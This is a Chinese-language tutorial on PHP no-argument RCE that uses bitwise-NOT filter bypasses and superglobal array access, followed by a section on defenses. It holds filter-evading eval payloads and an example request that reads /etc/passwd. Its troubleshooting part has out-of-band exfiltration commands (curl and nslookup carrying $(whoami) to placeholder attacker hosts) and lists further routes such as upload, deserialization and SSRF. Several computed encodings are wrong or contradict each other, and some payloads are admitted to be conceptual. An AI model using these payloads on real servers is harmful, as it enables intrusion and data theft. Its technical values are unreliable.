1. 项目概述PHP无参RCE的攻防博弈在Web安全攻防的战场上PHP的命令执行漏洞一直是兵家必争之地。随着安全防护意识的提升传统的RCE利用方式如直接传递system(‘ls’)这样的参数早已被各种WAF和代码层面的过滤规则严防死守。于是攻击者与防御者之间展开了一场围绕“字符”的无声战争。今天我们要深入探讨的正是在这种严苛过滤下依然能“无中生有”执行命令的高级技巧——PHP无参RCE特别是结合取反~绕过与二维数组传参的完整攻击链。简单来说无参RCE的核心挑战在于目标代码可能通过preg_match等函数严格过滤了所有字母、数字、常见符号甚至括号和引号让你无法直接构造出如system(‘cat /flag’)这样的有效载荷。这就像给你一副镣铐却要求你跳出完整的舞蹈。而“取反绕过”和“二维数组执行”正是解开这副镣铐的两把精巧钥匙。前者利用PHP中位运算符的特性从被允许的“不可见字符”中拼凑出被禁止的“可见命令”后者则巧妙地利用PHP处理数组和字符串的隐式转换机制在看似没有函数调用参数的地方开辟出命令执行的通道。这篇文章将从一个实战攻击者的视角为你层层拆解这条攻击链。无论你是负责防御的开发者、安全研究员还是对PHP底层特性充满好奇的学习者理解这些绕过技术的内在原理都能让你更深刻地认识到安全边界的脆弱性与构建健壮防御体系的重要性。我们将从最基础的取反运算原理讲起逐步构建可用的Payload最终打通二维数组传参的关节完成一次“无声”的入侵。2. 核心原理取反运算与字符串构造的魔法要理解取反绕过首先得抛开Web安全的视角回归到PHP语言本身的一个基础特性位运算符~按位取反。这对于很多主要进行Web开发的PHP程序员来说可能是一个相对陌生的领域。2.1 位运算取反在PHP中的行为在计算机中所有数据最终都以二进制形式存储。PHP的~运算符会对一个整数的每一位二进制执行“非”操作0变成11变成0。例如数字5的二进制是00000101取反后得到11111010即-6这里涉及补码表示暂不深入。关键在于字符串当~运算符作用于一个字符串时PHP会将该字符串中的每个字符每个字符对应一个ASCII码值单独进行取反操作并返回一个新的字符串。例如echo ~A; // 输出一个不可见字符ASCII 65 - ~65 190 对应扩展ASCII字符但更重要的是我们可以对取反后的结果再次取反从而得到原字符串~~”A”在理论上是”A”但PHP不支持连续取反直接还原字符串我们的利用点不在这里。真正的技巧是我们可以先想好我们需要的命令字符串如”system”然后对其取反得到一串完全由不可见字符或特殊字符组成的字符串。在Payload中我们传递这个取反后的字符串再在代码上下文中利用另一个~运算符将其还原。假设我们有这样一段存在漏洞的代码if(isset($_GET[code])){ $code $_GET[code]; if(!preg_match(/[a-z0-9]/i, $code)){ eval($code); // 危险但过滤了字母数字 } }直接传递codesystem(‘ls’)会被过滤。但我们可以这样做构造我们想要的代码$_GET[a]($_GET[b])假设a和b是未过滤的参数这里仅为示意实际需要更隐蔽。但我们连$_GET中的字母也被过滤了。这时我们可以用取反来构造_GET。首先计算~”_GET”。通过编写一个小脚本我们可以得到~”_GET”的结果是一个四个字符的字符串其URL编码形式可能是%8F%97%8F%96具体值因PHP版本和配置可能略有差异。在PHP中~”%8F%97%8F%96″的结果就是”_GET”。因此我们可以这样构造code(~%8F%97%8F%96)[a]。这等价于$_GET[a]但完美绕过了字母数字过滤。注意这里有一个至关重要的细节。(~%8F%97%8F%96)本身是一个取反操作的结果它是一个字符串”_GET”。在PHP中字符串可以通过花括号{}或方括号[]进行下标访问以获取单个字符例如”abc”[0]得到’a’。但为了拼接出完整的$_GET我们通常需要利用PHP的变量函数和复杂表达式而不是直接访问字符。上述例子是一种简化概念实际利用中~”xxxx”通常被包裹在${}或作为函数名的一部分。2.2 从取反到函数名的构造理解了单个字符串的取反还原我们如何构造出像system、phpinfo这样的函数名呢这需要用到PHP的两个“骚操作”字符串拼接在禁止使用点号.的情况下我们可以利用.的取反形式。先计算~”.”假设得到%8E。那么(~%8E)在代码执行时就是.。我们可以用(~%xx)(~%yy)的形式来拼接字符串但这种方式在无参环境下受限。利用$_GET[]本身或其他超全局变量更实用的方法是不直接构造函数名字符串而是让函数名来自于一个我们可控的输入参数而这个参数名本身没有被过滤。这就是“无参”RCE中“无参”的狭义理解——eval或assert的直接参数中没有显式的字母数字但通过嵌套的变量提取最终函数名和参数都来自外部输入。例如一个经典的漏洞代码模式是if(isset($_POST[data])){ $data $_POST[data]; if(!preg_match(/[a-z0-9]/i, $data)){ eval($data . ;); } }这里$data不能包含字母数字。但我们可以传入data${~%A0%B8%BA%AB}[%90](${~%A0%B8%BA%AB}[%91])假设~%A0%B8%BA%AB的结果是字符串”_POST”实际需要计算。那么这段Payload经过解析后就是${_POST}[%90](${_POST}[%91])等价于$_POST[‘某个键1’]($_POST[‘某个键2’])这样我们只需要在POST请求体中额外传递两个参数比如1system2ls就能实现system(‘ls’)的执行。而最初的data参数里完全没有出现字母数字完美绕过正则过滤。实操心得计算取反字符串是这一步的关键。你不需要手动计算可以编写一个简单的PHP脚本?php function getNegatedString($input) { $result ; for ($i 0; $i strlen($input); $i) { $result . urlencode(~$input[$i]); } return $result; } echo getNegatedString(_POST); // 输出类似 %8F%97%8F%9C echo \n; echo getNegatedString(_GET); // 输出类似 %8F%97%8F%96 ?将这个脚本在与你目标环境相近的PHP版本上运行得到准确的URL编码字符串。不同PHP版本对字符的处理可能有细微差别最好在相同环境下测试。3. 攻击链构建当取反遇上二维数组单纯的取反绕过往往还需要一个“载体”来接收最终的函数名和参数。在传统的绕过中我们常利用$_GET[‘a’]、$_POST[‘b’]这种形式。但如果连方括号[、]也被过滤了呢又或者代码的上下文限制了我们的发挥这时“二维数组”的技巧就可以登场了。3.1 二维数组作为传参媒介的原理在PHP中$_GET、$_POST、$_REQUEST等超全局变量本身就是数组。当我们提交?a[b]c时$_GET[‘a’]得到的是一个数组array(‘b’ ‘c’)。这本身是一维数组。而“二维数组”在此处的精妙用法体现在代码对变量解析的歧义利用上。考虑以下代码片段它可能出现在一些框架或自定义的请求参数解析逻辑中$input $_REQUEST[id]; // 假设id是可控参数 // ... 一些处理 ... $function $input[action]; $argument $input[param]; if (is_callable($function)) { $function($argument); }攻击者可以这样传递参数?id[action]systemid[param]ls。那么$_REQUEST[‘id’]就是一个二维数组array(‘action’ ‘system’, ‘param’ ‘ls’)。$input[‘action’]就能提取出’system’$input[‘param’]提取出’ls’。但我们的场景更苛刻如何在eval的参数中不使用明显的字母数字和方括号来模拟这种数组访问答案是利用PHP的{}花括号语法和变量变量。在PHP中${‘_GET’}等价于$_GET。同时字符串可以通过{}来指定偏移量如$str{0}。更重要的是${‘a’}[‘b’]和${‘a’}{‘b’}在某种上下文下都能被解析。当过滤了方括号[]时花括号{}可能成为替代品。结合取反我们可以构造如下Payload 假设过滤了字母数字、方括号、点号、引号但允许花括号和$、_有时_也在过滤名单。 我们的目标是执行system(‘ls /tmp’)。构造数组来源我们依然需要_GET或_POST。用取反~%8F%97%8F%96得到_GET。构造数组键名我们需要两个键名比如0和1。但数字被过滤了。我们可以用取反构造数字的字符串形式或者利用PHP的弱类型。一个技巧是利用不可见字符作为键名。因为$_GET本身是一个数组我们可以通过$_GET[~%XX]来访问其中~%XX是一个不可见字符它作为键名。我们在提交请求时直接使用这个不可见字符的URL编码作为参数名。整合成无参形式最终传递给eval的字符串可能是${~%8F%97%8F%96}{~%8C}{~%8D}(${~%8F%97%8F%96}{~%8E}{~%8F})这里{~%8C}、{~%8D}、{~%8E}、{~%8F}都是通过取反得到的不可见字符它们分别作为数组的第一维键名和第二维键名这里是一种简化和概念混合实际构造需要精确对应。 对应的HTTP请求可能是GET /vuln.php?%8Csystem%8Dls%8Ecat%8F/etc/passwd HTTP/1.1这样eval中的代码最终被解析为$_GET[一个不可见字符]($_GET[另一个不可见字符])也就是system(‘ls’)。关键点这里的“二维”体现在我们利用了${~’_GET’}{~’a’}这种形式其中{~’a’}被解析为字符串’a’并作为${~’_GET’}这个数组的键。这本质上是对一维数组$_GET的访问。但在攻击链的思维里我们将“获取超全局变量”和“从该变量中提取特定键”这两个步骤融合在了一个复杂的、绕过过滤的表达式里形成了逻辑上的“二维”访问链。3.2 完整攻击链串联解析让我们串联一个更真实、过滤更严格的场景。假设漏洞代码如下?php highlight_file(__FILE__); if(isset($_GET[exp])){ $exp $_GET[exp]; // 过滤非常严格字母、数字、引号、反引号、$、、方括号、花括号、冒号、连字符等都被禁止 if(!preg_match(/[a-z0-9_$\[\]\{\}\:\-\\\\\\\\;]/i, $exp)){ // 还过滤了分号但eval末尾自带分号或者我们可以用?闭合 eval($exp); } }我们的目标是执行任意命令。攻击链如下步骤一寻找未被过滤的字符和PHP语法糖经过检查发现取反运算符~、位与、位或|、异或^、括号()、逗号,以及反斜线\可能被过滤需确认未被过滤。同时PHP的短标签?可能被禁用。我们需要用()和~来构造一切。步骤二构造_GET使用取反。编写脚本计算~”_GET”得到字符串假设其URL编码为%8F%97%8F%96。那么(~%8F%97%8F%96)在eval内部就是字符串”_GET”。步骤三将字符串”_GET”转换为变量$_GET这里需要用到PHP的变量变量。${“_GET”}就是$_GET。但我们没有点号如何拼接$和{“_GET”}呢实际上在eval中我们可以直接使用${~%8F%97%8F%96}。因为${}内部会对其中的表达式求值如果求值结果是字符串就会将其作为变量名。所以${(~%8F%97%8F%96)}会被求值为${“_GET”}即$_GET。步骤四从$_GET中提取值且不使用方括号方括号[]被过滤了。但我们可以使用花括号{}进行字符串/数组偏移访问吗在PHP 7.4及以上版本{}用于字符串偏移访问已被弃用且可能同样被过滤。我们需要另一种方法。奇技淫巧利用get_defined_vars()或getallheaders()如果代码在函数作用域内get_defined_vars()会返回所有已定义变量包括超全局变量。但它的返回是数组访问它又需要键。不过我们可以结合extract()函数或者利用current()、end()、next()等数组指针函数在无参RCE中的技巧但这超出了当前“二维数组”的主题。一个更直接的相关思路是如果服务器开启了register_argc_argv在CLI模式下默认开启Web模式下通常关闭那么$argv和$argc变量是可用的。$argv是一个数组包含了脚本的参数。在Web环境中这通常不可行。回到我们的场景如果方括号和花括号都被过滤那么传统的数组访问方式几乎被封死。这时“二维数组”的思路可能需要变通我们是否可以不通过数组访问而是让函数名和参数直接作为“二维”结构的一部分被解析一个经典的替代方案是使用反引号执行运算符但它通常被过滤。另一个方案是利用include/require包含伪协议但这需要允许URL包含。鉴于严格过滤我们调整攻击链采用“或运算”和“异或运算”结合取反来生成必要字符。因为过滤规则没有禁止位运算符我们可以通过|或、^异或来从两个允许的字符生成第三个被禁止的字符。例如如果我们能控制两个参数它们的值是不可见字符通过|运算就能产生字母s。但我们的exp参数只有一个。我们可以在这个参数内进行复杂的位运算。例如构造exp(%xx|%yy)其中%xx|%yy的结果是字母s。我们需要拼接出system和ls。这需要生成多个这样的运算组合非常冗长。步骤五降维打击——利用PHP的字符串解析特性与上传临时文件当所有路径似乎都被封锁时真正的攻击者会寻找完全不同的维度。一个与“二维数组”间接相关但更强大的技巧是利用$_FILES超全局数组和move_uploaded_file/file_put_contents结合伪协议。即使exp参数被严格过滤如果存在文件上传功能或者我们可以通过HTTP请求构造一个文件上传的multipart/form-data请求那么$_FILES数组就会被填充。$_FILES[‘file’][‘tmp_name’]包含了服务器上的临时文件路径。如果我们能控制文件内容并将其命名为shell.php再结合PHP的php://input等伪协议或者利用include包含这个临时文件就可能实现RCE。这条攻击链更复杂它绕过了对输入参数的字符过滤转而利用PHP处理HTTP请求时产生的“二维数组”$_FILES是一个二维数组结构为[‘field_name’] [‘name’, ‘type’, ‘tmp_name’, ‘error’, ‘size’]和文件系统操作。这要求目标环境没有禁用相关危险函数如move_uploaded_file并且有可写的目录。4. 实战演练构造一个可用的取反数组访问Payload为了更直观我们假设一个稍微宽松的环境过滤了字母数字和方括号[]但允许花括号{}、$、_和取反~。我们的目标是执行phpinfo()。漏洞代码vuln.php:?php if(isset($_GET[cmd])){ $cmd $_GET[cmd]; if(!preg_match(/[a-z0-9\[\]]/i, $cmd)){ eval($cmd . ;); } } ?攻击步骤:计算取反值在攻击机与目标PHP版本相同上运行脚本计算所需字符串的取反URL编码。?php echo ~_GET: . urlencode(~_GET) . \n; echo ~phpinfo: . urlencode(~phpinfo) . \n; // 注意我们实际需要的是字符串形式的键名比如 a。但‘a’被过滤了。 // 我们可以用不可见字符作为键名。例如使用 ASCII 1 (SOH)。 $soh chr(1); echo ~\\x01: . urlencode(~$soh) . \n; // \x01 的取反 ?假设输出~_GET: %8F%97%8F%96 ~phpinfo: %8F%89%8F%9A%8F%88%8F%9A%8F%8B%8F%9E ~\x01: %FE这里%FE是~chr(1)的结果。我们需要的是键名chr(1)本身而不是它的取反。所以我们应该计算chr(1)的URL编码即%01。我们将使用%01作为GET参数名。构造Payload我们需要让eval执行$_GET[‘\x01’]()并且$_GET[‘\x01’]的值是phpinfo。 Payload为${~%8F%97%8F%96}{%01}()。解释(~%8F%97%8F%96)求值为字符串”_GET”。${…}将内部的字符串”_GET”作为变量名即$_GET。{%01}使用花括号内部是URL解码后的字符\x01作为数组键名。这相当于$_GET[“\x01”]。()调用该变量代表的函数。发起请求GET /vuln.php?cmd${~%8F%97%8F%96}{%01}()%01phpinfo HTTP/1.1 Host: target.com这里cmd参数的值是${~%8F%97%8F%96}{%01}()不包含任何被过滤的字母数字和方括号。同时我们额外传递了一个GET参数%01其值为phpinfo。服务器端解析$_GET[‘cmd’]得到字符串”${~%8F%97%8F%96}{%01}()”。经过检查该字符串不含字母数字和方括号通过过滤。eval(”${~%8F%97%8F%96}{%01}();”)被执行。PHP解析${~%8F%97%8F%96}先对%8F%97%8F%96进行URL解码并取反得到”_GET”然后${“_GET”}得到超全局数组$_GET。接着解析{%01}花括号内的%01被解码为ASCII为1的不可见字符作为键名访问$_GET数组即$_GET[“\x01”]。我们在请求中设置了?%01phpinfo所以$_GET[“\x01”]的值是字符串”phpinfo”。最终eval执行了”phpinfo”()即调用了phpinfo()函数成功执行代码。注意事项花括号{}的用法在PHP中$var{0}和$var[0]在以前都可以用于字符串偏移访问但{}方式在PHP 7.4中已弃用。然而对于数组键访问$array{‘key’}这种语法不是标准语法可能无法工作。上述Payload的成功依赖于一个特定环境即PHP在解析${…}{…}时将第一个{}视为变量变量第二个{}可能被错误解析或在某些旧版本中支持。在实际高版本PHP中这种写法很可能失败。可靠的替代方案更可靠的方法是使用$_GET本身但通过取反构造键名。例如如果方括号[]允许Payload可以简化为${~%8F%97%8F%96}[~%8C]()并在请求中传递?%8Cphpinfo。这里~%8C需要计算其解码取反后是某个特定字符比如a然后我们传递参数?aphpinfo。这需要精确计算字符对应关系。自动化工具手工构造这些Payload非常繁琐。实战中通常会使用像CTF工具集中的PHP无参RCE生成脚本输入你想要执行的函数和命令以及目标的过滤规则脚本会自动尝试多种绕过方式取反、异或、或、自增等生成可用的Payload。5. 防御策略与安全开发建议理解了攻击链防御的思路就清晰了。核心原则是不要信任任何用户输入并在执行动态代码时施加最严格的限制。彻底禁用危险函数在生产环境中应在php.ini的disable_functions列表中禁用eval()、assert()、system()、exec()、shell_exec()、passthru()、popen()、proc_open()等函数。这是最有效的一劳永逸的方法但可能影响某些老旧应用。避免动态代码执行绝对不要使用eval()、assert()来执行包含用户输入的字符串。如果业务必须动态执行代码如某些模板引擎、插件系统应使用沙箱环境如PHP沙盒扩展或严格的白名单机制只允许执行预定义的、安全的代码块。严格的输入过滤与验证白名单优于黑名单不要试图过滤所有“坏”字符攻击者总能找到漏网之鱼。应该定义什么是“好”的输入。例如如果期望一个数字就用intval()或filter_var(…, FILTER_VALIDATE_INT)严格验证。上下文相关转义对于输出到HTML、SQL、命令行、文件路径等不同上下文使用专门的转义函数htmlspecialchars、PDO预处理语句、escapeshellarg、realpath等。警惕位运算符如果代码逻辑中确实不需要位运算符可以考虑在过滤时加入~、|、、^等。但要注意过度过滤可能影响正常功能。限制函数回调在使用call_user_func()、array_map()、usort()等允许回调的函数时确保回调函数名不是直接来自用户输入。如果必须应使用白名单进行校验。安全配置PHP环境将register_argc_argv设置为Off。将allow_url_include设置为Off。使用open_basedir限制PHP可访问的目录范围。保持PHP版本更新及时修复已知漏洞。代码审计与安全测试定期对代码进行安全审计特别是寻找eval()、assert()、preg_replace的/e修饰符已废弃等危险函数的使用。使用静态代码分析工具如PHPStan、Psalm结合安全规则和动态Web漏洞扫描器进行辅助检查。WAFWeb应用防火墙部署WAF可以帮助拦截一些已知的攻击Payload但不能完全依赖。WAF规则可能被绕过它应该是纵深防御中的一层而非唯一防线。6. 常见问题与排查技巧实录在研究和测试这类漏洞时你可能会遇到各种问题。以下是一些常见情况及解决思路问题1精心构造的取反Payload在目标服务器上执行失败但在本地测试成功。可能原因1PHP版本差异。不同PHP版本对字符处理、位运算、URL解码的细微差别可能导致取反结果不同。解决方案尽可能在与目标相同版本和配置的PHP环境中生成Payload。可以使用phpversion()函数探测目标版本。可能原因2URL编码双重解码。某些Web服务器或中间件如Nginx的某些配置可能会对请求参数进行额外的URL解码。如果你的Payload已经包含了%XX它可能会被解码两次导致乱码。解决方案尝试对%本身进行编码即使用%25代替%。例如%8F变成%258F。观察服务器端的解码行为。可能原因3魔术引号Magic Quotes或过滤扩展。已废弃的magic_quotes_gpc或一些安全扩展可能会对输入中的特殊字符包括%、\等进行转义或过滤。解决方案检查目标PHP配置。如果开启可能需要调整Payload例如使用纯十六进制或其他编码方式。问题2使用了${~…}{~…}形式的Payload服务器返回语法错误。可能原因如前所述$array{‘key’}这种访问数组的方式并非总是有效尤其是在高版本PHP中。解决方案优先尝试使用方括号[]的Payload即使需要绕过对方括号的过滤有时过滤可能不完整比如只过滤了左括号[。尝试使用.点号进行字符串连接来构造数组访问例如${~…}.{…}但点号也常被过滤。考虑使用其他无需数组访问的绕过方式如利用getallheaders()如果可用从HTTP头中提取参数或者使用session_id()配合session_start()。问题3命令执行成功了但没有回显盲注。解决方案时间盲注使用sleep()函数。例如执行system(‘sleep 5’)观察响应是否延迟5秒。外带数据DNS/HTTP尝试执行命令将结果发送到你的服务器。例如system(‘curl http://your-server.com/’$(whoami)’)或system(‘nslookup $(whoami).your-domain.com’)。这需要目标服务器能出网。写入文件将命令结果写入一个Web可访问的文件。例如system(‘whoami /var/www/html/result.txt’)然后访问http://target.com/result.txt查看。问题4目标过滤了所有非字母数字字符包括~、$、_、{}、[]等似乎无懈可击。思路拓展不要局限于一个入口点。考虑文件上传是否存在上传点能否上传.htaccess或.user.ini文件来配置PHP能否上传含恶意代码的图片马并结合文件包含漏洞反序列化是否存在unserialize()点虽然也需要构造字符串但反序列化可以利用PHP对象的内置方法如__wakeup、__destruct来触发代码执行有时可以绕过一些字符过滤。SSRF与内部服务能否利用目标服务器上的其他内部服务如Redis、Memcached、MySQL来间接执行命令或写入文件PHP特性研究PHP的冷门特性例如?标签闭合后后面的HTML/文本会被直接输出但在这之前执行的PHP代码依然有效。或者利用${”\x00″}这种空字节变量但空字节通常也被过滤。个人实操心得面对无参RCE最重要的不是记忆Payload而是理解PHP解析引擎的行为。很多时候Payload之所以能工作是因为PHP在解析代码时产生了与开发者预期不同的歧义。搭建一个本地的PHP测试环境开启display_errors On和error_reporting E_ALL反复试验你的Payload观察解析错误信息是学习这些技巧最快的方式。同时时刻记住作为防御者关闭eval()、做好输入验证比任何复杂的过滤规则都更可靠。安全是一个整体任何一处的松懈都可能成为攻击者突破的入口。